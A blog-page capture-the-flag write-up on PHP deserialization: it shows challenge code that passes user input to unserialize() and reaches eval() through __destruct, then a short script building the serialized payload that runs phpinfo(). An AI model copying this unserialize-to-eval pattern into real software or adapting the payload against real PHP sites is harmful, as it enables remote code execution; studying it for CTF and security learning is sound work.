当前位置:网站首页>PHP Serialization: eval
PHP Serialization: eval
2022-07-31 13:08:00 【Little dragon in shandong】
题目
<?php
highlight_file(__FILE__);
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
解题思路:通过传入d参数,The parameter is the serialized string,Used to call magic methods__destruct,然后调用evil的action,to executeeval.
wp
生成序列化字符串:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$test = new lemon();
echo urlencode(serialize($test));
边栏推荐
猜你喜欢
PyQt5快速开发与实战 9.7 UI层的自动化测试
五种数据提交方式的优化
深入浅出边缘云 | 4. 生命周期管理
docker部署完mysql无法连接
Invalid bound statement (not found)出现的原因和解决方法
手撕Verilog PWM呼吸灯
IDEA找不到Database解决方法
Hard disk partition, expand disk C, no reshipment system, not heavy D dish of software full tutorial.
CWE4.8 -- 2022年危害最大的25种软件安全问题
golang八股文整理(持续搬运)
随机推荐
The cluster of safe mode
中望3D 2023正式发布,设计仿真制造一体化缩短产品开发周期
golang中使用泛型
NameNode (NN) 和SecondaryNameNode (2NN)工作机制
CWE4.8 -- 2022年危害最大的25种软件安全问题
六石编程学:不论是哪个功能,你觉得再没用,会用的人都离不了,所以至少要做到99%
Google Chrome(谷歌浏览器)安装使用
Hybrid brain-computer interface system based on steady-state visual evoked potentials and attentional EEG
AMBA APB学习记录(AMBA 2.0)
Invalid bound statement (not found)出现的原因和解决方法
AMBA APB学习记录(AMBA 3/4)
centos7安装mysql5.7步骤(图解版)
vivado里那些看不懂的原语
计算机复试面试问题(计算机面试常见问题)
C#控件 ToolStripProgressBar 用法
深圳某游戏研发公司每个工位都装监控,网友:堪比“坐牢”!
CentOS7 - yum install mysql
手撕Verilog PWM呼吸灯
[CPU Design Practice] Simple Pipeline CPU Design
FIFO深度计算学习记录(汇总)